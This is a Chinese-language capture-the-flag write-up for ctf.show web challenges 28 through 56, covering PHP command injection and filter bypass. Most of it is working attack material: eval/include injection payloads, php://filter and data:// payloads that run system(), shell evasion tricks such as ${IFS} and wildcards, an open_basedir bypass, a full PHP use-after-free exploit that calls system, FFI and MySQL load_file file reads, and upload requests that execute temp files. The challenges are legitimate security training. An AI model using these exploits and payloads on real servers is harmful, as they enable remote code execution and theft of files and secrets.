汇总

php命令执行部分,遇到的知识点汇总下:

php伪协议参考资料: 博客资源1 博客资源2

// 参数逃逸
?c=include$_GET[x]?>&x=??
// includ,文件包含执行函数。

// php伪协议
php://filter/read=convert.base64-encode/resource=flag.php
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

// 特殊函数
show_source(next(array_reverse(scandir(pos(localeconv())))));
# localeconv()获取一个符号数组
# pos()获取第一个元素
# scandir(): 这是一个 PHP 函数,用于扫描指定目录并返回目录中的文件和目录列表。它接受目录路径作为参数,并返回一个包含目录内容的数组。
# array_reverse(): 这是一个 PHP 函数,用于将数组中的元素顺序反转。
# show_source() 函数是 PHP 中的一个内置函数,它用于显示指定文件的源代码。该函数接受一个文件名作为参数,并将文件的内容以HTML格式输出到浏览器。
// 参考博客https://blog.csdn.net/Kracxi/article/details/121041140


#Linux 命令行绕过
${IFS} ; # 代替分隔符
` ` # 命令执行
nl<fla''g.php # 读取文件内容 >
// nl真够神奇的,跨了一大堆函数没被限制死
// web41脚本很难理解,先留白
nl${IFS}/fla''g

// 占位显示文件内容
// 原理还是正则表达式的方法,?代表一个位置
原始:
cat flag.php
转换:
?at${IFS}f???????

// 字符执行命令
# 下面的执行命令能实现的效果是:逐行执行sh代码
# . flag


// 使用临时文件存储的地方执行文件
/?c=.+/???/????????[@-[]
// 展示数组结构
echo(var_export(scandir('/'),true));
# include函数替代品
require() => include()
// 避开缓冲区刷新:
require('/flag.txt');exit();



// 学到了Linux执行命令的新姿势
[root@localhost ~]# echo $()

[root@localhost ~]# echo $(($()))
0
[root@localhost ~]# echo $((~$(())))
-1
[root@localhost ~]# echo $((~$(())))$((~$(())))
-1-1
[root@localhost ~]# echo $(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))
-2

# 下面的${_}是依赖上一步执行的,咋一看有些误导性
[root@localhost ~]# echo ${_}
-2
[root@localhost ~]# echo $((${_}))
-2
[root@localhost ~]# echo $((~$((${_}))))
1

# 实验下其它的:
[root@localhost ~]# echo $(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))
-4
[root@localhost ~]# echo $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
3

# 从上面可以得出一个结论:想要得到36,只需要把$((~$(())))堆叠37个,再将其反正为36即可
# 即:叠37个$((~$(()))),再给37括一个总的$((~$(())))即可



# 官方给出的办法:
// 绕过open_basedir
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>
# 官方还给出了要使用UAF

UAF脚本:

<?php

function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
?>

url编码脚本后,传入得到flag

文件读取新姿势:数据库读取本地文件内容

<?php
// 报错函数try
try {
// PDO连接到数据库,且前提是:数据库为本地,库名为ctftraining,用户名为root,密码为root
// PDO必须连接正确才能接着往下读取
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');
// foreach读取查询语句查询到的内容;查询的内容为"/flag36.txt"
// 这里调用的是数据库函数读取文件内容
foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
echo ($row[0]) . "|";
}
$dbh = null;
} catch (PDOException $e) {
// 获取具体报错信息
echo $e->getMessage();
exit(0);
}
exit(0);

FFI读取写入漏洞

// 要求版本是7.4以上
// 操作的具体流程是:
// 1.利用命令执行获取信息,并且写入到当前文件夹下的文本文件。
// 2.直接访问文本文件就能获取命令执行的信息
$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

web28

原始信息

这题几乎没有任何可以直接挖掘的原始信息,只有一个URL。

http://fe00b5e0-d50d-4189-82c0-3446c37963cf.challenge.ctf.show/0/1/2.txt

改掉点东西,URL变成:

http://fe00b5e0-d50d-4189-82c0-3446c37963cf.challenge.ctf.show/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/0/1/2.txt

然后就报错了,说循环太多次了。

说实在,这种目录是让我一头雾水。

解析

说实在,这题的wp看的我挺迷糊的。
原因是这样子的:

  1. 为什么使用数值型目录爆破?
  2. 如果是其它情况的那种,使用了别的框架,又应该如何进行这种类似的目录爆破?
// 本题解法:
// 数据包如下,针对数据包的两个数值进行数值爆破

// 具体流程:
// 发送给测试器->选择集束炸弹攻击->选择如下变量->在设置当中设置每一个为数值攻击->
// ->数值攻击下的每个模式设置为1到100,跨度为1的数值爆破攻击
// 然后坐等数据包200出现就OK了
GET /§0§/§1§/ HTTP/1.1
Host: fe00b5e0-d50d-4189-82c0-3446c37963cf.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

收获

简单了解了什么是数值爆破

web32

原始信息

error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

解题

限制很严重,甚至连括号都限制了。

flag
system
php
cat
sort
shell
.
空格
'
`
echo
;
(

这里使用官方WP:

?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

# 拆解
?c= 变量名接收
$nice= 第二层变量名
include 文件包含
$_GET["url"] GET传输
?> 分割,代替了 ";"
&url= 连接get参数并且赋值第二个get参数
php://filter/read=convert.base64-encode/resource=flag.php
php文件流读取指定文件,并且转化为base64数据流

尝试变式

1.尝试读取文件
?c=include$_POST[1]?>

1=/etc/passwd
#读取成功


2.尝试直接读取flag失败,毕竟前面有限制,且不能使用括号。
尝试文件流读取数据
?c=include$_POST[1]?>

1=php://filter/read=convert.base64-encode/resource=index.php
# 读取成功
PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDoxMjozNA0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NTY6MzENCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KZXJyb3JfcmVwb3J0aW5nKDApOw0KaWYoaXNzZXQoJF9HRVRbJ2MnXSkpew0KCSRjID0gJF9HRVRbJ2MnXTsNCglpZighcHJlZ19tYXRjaCgiL2ZsYWd8c3lzdGVtfHBocHxjYXR8c29ydHxzaGVsbHxcLnwgfFwnfFxgfGVjaG98XDt8XCgvaSIsICRjKSl7DQoJCWV2YWwoJGMpOw0KCX0NCgkNCn1lbHNlew0KCWhpZ2hsaWdodF9maWxlKF9fRklMRV9fKTsNCn0

总结

文件包含+参数逃逸+php伪协议
唯一的疑问就是:假设不知道目录文件的情况下怎么知道这个flag文件的名字

web33

原始信息

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

解题

想法和上一道题目差不多,php伪协议 + ?> + 参数逃逸

get:
?c=$dd=include$_POST[1]?>
post:
1=php://filter/read=convert.base64-encode/resource=flag.php

获取到的base64编码自己解码就出flag了。

官方WP如下:
c=?><?=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web34

原始信息

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

解题

和上题解法相同,这里上官方的WP。

c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35

原始信息

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

解题

限制增多,解法和上一题差不多。

这里亮一下官方的WP和我的WP。

get:
?c=include$_POST[1]?>
post:
1=php://filter/read=convert.base64-encode/resource=flag.php
-------------------------------------

get:
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web36

原始信息

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

解题

// 和之前相比,过滤了整数,也就无法使用$_GET[1]了
c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37

原始信息

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

解题

<?php
$c = "<?php system('cat fl*')?>";
echo base64_encode($c);
# 得到bease64编码的字符串后,尝试data伪协议

得到base64后尝试data获取

get:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwqJyk/Pg==

return:
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 05:12:00
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:12:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


$flag="ctfshow{74cc07a2-5f03-4882-b271-df1e8dba1249}";

web38

原始信息

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}

解题

// 和上面相比,没什么变化,所以说还是那个flag。
// 如果说正则表达式过滤了data和//和: 等关键字,就要考虑换了。
get:
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwqJyk/Pg==
data://text/plain,

web39

原始信息

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}

解题

这次是锁死后面的后缀,但是测试了下data,发现会直接回显到前端:
get:
?c=data://text/plain,1
return:
1.php
证明导入文件根本无法执行
#依靠data自己写脚本执行
get:
?c=data://text/plain,<?php system('tac f*')?>
return:
$flag="ctfshow{353cd858-61ac-42bf-bd7f-e828f241454e}";

*/

# @link: https://ctfer.com
# @email: h1xa@ctfer.com
# @Last Modified time: 2020-09-04 05:12:10
# @Last Modified by: h1xa
# @Date: 2020-09-04 05:12:00
# @Author: h1xa
# -*- coding: utf-8 -*-
/*

<?php
.php

web40

原始信息

if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}

解题

仔细看了一眼,差点给我整不会了。
着括号过滤,过滤的是中文的括号……
也就是说,这题给你开放的符号除了英文括号就是分号。


show_source(next(array_reverse(scandir(pos(localeconv())))));
// localeconv()获取一个符号数组
// pos()获取第一个元素
// scandir(): 这是一个 PHP 函数,用于扫描指定目录并返回目录中的文件和目录列表。它接受目录路径作为参数,并返回一个包含目录内容的数组。
// array_reverse(): 这是一个 PHP 函数,用于将数组中的元素顺序反转。
// show_source() 函数是 PHP 中的一个内置函数,它用于显示指定文件的源代码。该函数接受一个文件名作为参数,并将文件的内容以HTML格式输出到浏览器。

# 梳理下,先获取字符数组,再获取小数点字符,再读取目录为数组,翻转数组并且获取第二个元素,高亮显示第二个元素的源代码

web41

原始信息

if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}

解题

过滤很严实,过滤了字母数字等。

// 没见过禁用这么多东西的
这里借用一个WP:
https://blog.csdn.net/miuzzx/article/details/108569080

Linux的命令执行绕过

web42

原始信息

if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}

解题

这里主要绕过后面的命令,分号绕过即可。

get: 
?c=ls;1
return:
index.php flag.php

get:
?c=tac flag.php;1
return:
$flag="ctfshow{3d158c4a-758a-4397-bce7-0d07050f183c}"; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-05 20:49:53 # @Last Modified by: h1xa # @Date: 2020-09-05 20:49:44 # @Author: h1xa # -*- coding: utf-8 -*- /*

web43

原始信息

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

解题

# 封掉了 ";" 后,使用其它逻辑符号绕过
get:
?c=ls||
return:
index.php flag.php

get:
?c=tac flag.php||
return:
$flag="ctfshow{c7008660-42b4-442b-bce9-7b98fd0b7703}"; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-05 20:49:53 # @Last Modified by: h1xa # @Date: 2020-09-05 20:49:44 # @Author: h1xa # -*- coding: utf-8 -*- /*

web44

原始信息

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

解题

#多个flag的字符过滤,换掉即可
get:
?c=ls||
return:
index.php flag.php

get:
?c=tac f*||
return:
$flag="ctfshow{c7008660-42b4-442b-bce9-7b98fd0b7703}"; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-05 20:49:53 # @Last Modified by: h1xa # @Date: 2020-09-05 20:49:44 # @Author: h1xa # -*- coding: utf-8 -*- /*

web45

原始信息

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

解题

# 多出了空格过滤
get:
?c=ls||
return:
index.php flag.php

get:
?c=tac${IFS}f*||
return:
$flag="ctfshow{c7008660-42b4-442b-bce9-7b98fd0b7703}"; */ # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 2020-09-05 20:49:53 # @Last Modified by: h1xa # @Date: 2020-09-05 20:49:44 # @Author: h1xa # -*- coding: utf-8 -*- /*

官方的WP:

echo$IFS`tac$IFS*`%0A

web46

原始信息

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

解题

# 这次直接k掉了分割符号的$和模糊查询的*,属实是有点狠。
// 使用nl来读取文件内容
get:
?c=ls
return:
flag.php index.php

get:
?c=nl<fla''g.php||
return:
ctfshow{7076da46-70a9-4355-be1c-aff13ecff9b7}

web47

原始信息

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

解题

// 限制级别和上次相似,还是使用nl读取flag即可
get:
?c=ls
return:
flag.php index.php

get:
?c=nl<fla''g.php||
return:
ctfshow{7076da46-70a9-4355-be1c-aff13ecff9b7}

web48

原始信息

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

解题

// 和上面一样,限制级别没有影响到nl
// 继续使用nl的wp:
get:
?c=ls
return:
flag.php index.php

get:
?c=nl<fla''g.php||
return:
ctfshow{26d7834a-0887-426b-adb9-77d0f6eae768}

web49

原始信息

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

解题

// 限制级别和上面差不多,使用之前的wp即可
get:
?c=nl<fla''g.php||
return:
ctfshow{26d7834a-0887-426b-adb9-77d0f6eae768}

web50

原始信息

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

解题

// 限制级别和上面差不多,使用之前的wp即可
get:
?c=nl<fla''g.php||
return:
ctfshow{26d7834a-0887-426b-adb9-77d0f6eae768}

web51

原始信息

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

解题

// 限制级别和上面差不多,使用之前的wp即可
get:
?c=nl<fla''g.php||
return:
ctfshow{26d7834a-0887-426b-adb9-77d0f6eae768}

web52

原始信息

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}

解题

// 这次关掉了<,不能照旧使用nl
// 这次锁死了大部分的读取命令
// 使用分隔符绕过。
get:
?c=nl${IFS}/fla''g
return:
ctfshow{941cc5d4-6ec3-4e44-b7c7-9ae07c768cee}

web53

原始信息

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}

解题

// 没有封禁$,考虑使用${IFS}解题
get:
?c=nl${IFS}fl''ag.p''hp
return:
15 $flag="ctfshow{193c9432-67d0-4320-8d6a-e1caaf478071}";

官方WP:

c''at${IFS}fla''g.p''hp

web54

原始信息

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

解题

这次的过滤很严格。

preg_match(
"/\;|
[0-9]|\*|
.*c.*a.*t.*|
.*f.*l.*a.*g.*| |
.*m.*o.*r.*e.*|
.*w.*g.*e.*t.*|
.*l.*e.*s.*s.*|
.*h.*e.*a.*d.*|
.*s.*o.*r.*t.*|
.*t.*a.*i.*l.*|
.*s.*e.*d.*|
.*c.*u.*t.*|
.*t.*a.*c.*|
.*a.*w.*k.*|
.*s.*t.*r.*i.*n.*g.*s.*|
.*o.*d.*|
.*c.*u.*r.*l.*|
.*n.*l.*|
.*s.*c.*p.*|
.*r.*m.*|
\`|\%|\x09|\x26|
\>|\</i"
, $c)){

借用官方WP

get:
?c=/bin/?at${IFS}f???????
return:
$flag="ctfshow{1882b7f6-cb33-4b44-91f6-25bbc1a54f73}";

// 这里使用的是调用/bin下面的cat命令展示文件内容,并且使用?进行占位。

Linux无字符注入

web55

原始信息

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

解题

非字母数字getshell,先取一大佬文章

# 有一个很好的思路,是使用异或进行编码,把字符串a-z都异或
# 异或后再放到url传入执行时异或出来,就能绕过了
# 说简单点就是异或加密解密,且使用的是同一个字符进行的加密解密
'a'^'`' => '%01'
'`'^urldecode('%01') => 'a'
// 这个绕过的唯一缺点应该是%了,大佬实现的时候是这样子的:
// ('a'^'%01').('a'^'%01'). ... 形式如此

于是大佬给出了另外一个解决办法:使用.和?执行临时文件区的上传文件来解决问题

// 简单功能阐释:
1. "." :能作为字符串使用,同时也能将某个文件内的所有sh挨个执行。
# . flag
然后就是执行'flag'文件下的内容,使用的是sh执行

2. "?" :通配符,能匹配任意字符
# /???/???
然后可以匹配上 /tmp/php

3. "/tmp/":文件上传临时文件夹
4. "[@-[]":这是一个范围,囊括的是大写字母的A-Z

写一个简单的文件上传表单并且抓包:

<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>poc</title>
</head>

<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>

</html>

抓包后是这样的:

POST / HTTP/1.1
Host: 39b5f96f-192c-4877-a300-045eb85093c9.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------20230392993900287430898846814
Content-Length: 373
Origin: http://127.0.0.1:8034
Connection: close
Referer: http://127.0.0.1:8034/
Upgrade-Insecure-Requests: 1

-----------------------------20230392993900287430898846814
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

#!/bin/bash
# 上传的是什么文件都行,内容写shell

ls
-----------------------------20230392993900287430898846814
Content-Disposition: form-data; name="submit"

提交
-----------------------------20230392993900287430898846814--

发现执行了ls命令找到文件后读取flag

POST /?c=.+/???/????????[@-[] HTTP/1.1
Host: 39b5f96f-192c-4877-a300-045eb85093c9.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------20230392993900287430898846814
Content-Length: 373
Origin: http://127.0.0.1:8034
Connection: close
Referer: http://127.0.0.1:8034/
Upgrade-Insecure-Requests: 1

-----------------------------20230392993900287430898846814
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

#!/bin/bash

tac /var/www/html/flag.php
-----------------------------20230392993900287430898846814
Content-Disposition: form-data; name="submit"

提交
-----------------------------20230392993900287430898846814--

发包时不一定会成功,因为最后一个不一定是大写的。

收获

无字符写脚本,异或写脚本,特殊字符写脚本,这都是满满的收获哇!

web56

原始信息

if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}

解题

和上一题相比,过滤明显是严格了。加上了数字和$还有括号等。

但幸好没过滤类关键字符串,上一题WP依然可以沿用。

POST /?c=.+/???/????????[@-[] HTTP/1.1
Host: d27b959d-291e-4c1f-bf3f-6063922de991.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------20230392993900287430898846814
Content-Length: 375
Origin: http://127.0.0.1:8034
Connection: close
Referer: http://127.0.0.1:8034/
Upgrade-Insecure-Requests: 1

-----------------------------20230392993900287430898846814
Content-Disposition: form-data; name="file"; filename="asx.php"
Content-Type: image/jpeg

#!/bin/bash

cat /var/www/html/flag.php
-----------------------------20230392993900287430898846814
